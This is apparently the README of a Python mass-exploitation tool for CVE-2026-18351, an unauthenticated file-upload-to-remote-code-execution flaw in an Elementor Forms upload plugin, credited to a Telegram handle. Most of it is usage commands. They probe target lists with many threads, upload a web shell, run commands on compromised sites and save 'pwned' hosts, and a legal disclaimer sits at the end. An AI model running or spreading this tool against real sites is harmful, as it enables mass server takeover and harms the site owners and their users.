Mass exploit tool for CVE-2026-18351, an unauthenticated arbitrary file upload to RCE in Elementor Forms <= 1.6.0, with passive probing, shell upload, and command execution.
Mass exploit tool for CVE-2026-18351 — Unauthenticated Arbitrary File Upload → RCE in Drag and Drop File Upload for Elementor Forms <= 1.6.0.
credit johenlastgen | telegram @johenlastgen | channel @jlgnetworkredirect
No external dependencies — uses Python standard library only.
python3 --version # 3.6+
# Single target — passive check only (no upload)
python3 mass.py --url http://target.com --check
# Single target — exploit with default command (id)
python3 mass.py --url http://target.com --cmd id
# Single target — exploit with custom command
python3 mass.py --url http://target.com --cmd whoami
# Mass targets — passive check
python3 mass.py --list targets.txt --threads 50 --check
# Mass targets — exploit
python3 mass.py --list targets.txt --threads 50 --cmd id
# Mass targets — exploit with timeout tuning
python3 mass.py --list targets.txt --threads 100 --timeout 8 --cmd whoami
# Save full log
python3 mass.py --list targets.txt --output results.txt
# Save only vulnerable targets
python3 mass.py --list targets.txt --output-vuln vuln.txt
# Save only confirmed RCE targets
python3 mass.py --list targets.txt --output-pwned pwned.txt
# Combined output
python3 mass.py \
--list targets.txt \
--threads 50 \
--cmd id \
--output results.txt \
--output-vuln vuln.txt \
--output-pwned pwned.txt
| Option | Description |
|---|---|
--url | Single target URL |
--list FILE | File containing target URLs (one per line) |
--check | Passive probe only — no file upload |
--cmd CMD | Command to execute on shell (default: id) |
--threads N | Number of concurrent threads (default: 20) |
--timeout N | Per-request timeout in seconds (default: 10) |
--output FILE | Save full log to file |
--output-vuln FILE | Save only vulnerable target URLs to file |
--output-pwned FILE | Save only confirmed RCE targets to file |
| State | Meaning |
|---|---|
PWNED | Shell uploaded and RCE confirmed |
VULN-NO-EXEC | Upload accepted but shell execution failed |
PATCHED | Upload rejected or nonce not found |
ERROR | Network or parse failure |
One URL per line. Lines starting with # are ignored.
http://target1.com
https://target2.com
# this line is ignored
http://target3.com
This project is provided solely for authorized security assessments, defensive security research, and vulnerability validation.
By using this software, you confirm that you have explicit authorization to assess the target systems. Unauthorized access to computer systems is prohibited and may violate applicable laws.
The author and contributors do not encourage or condone unauthorized use of this project and assume no responsibility or liability for any misuse, damage, or legal consequences resulting from its use.
JohenLastGen — JLG NETWORK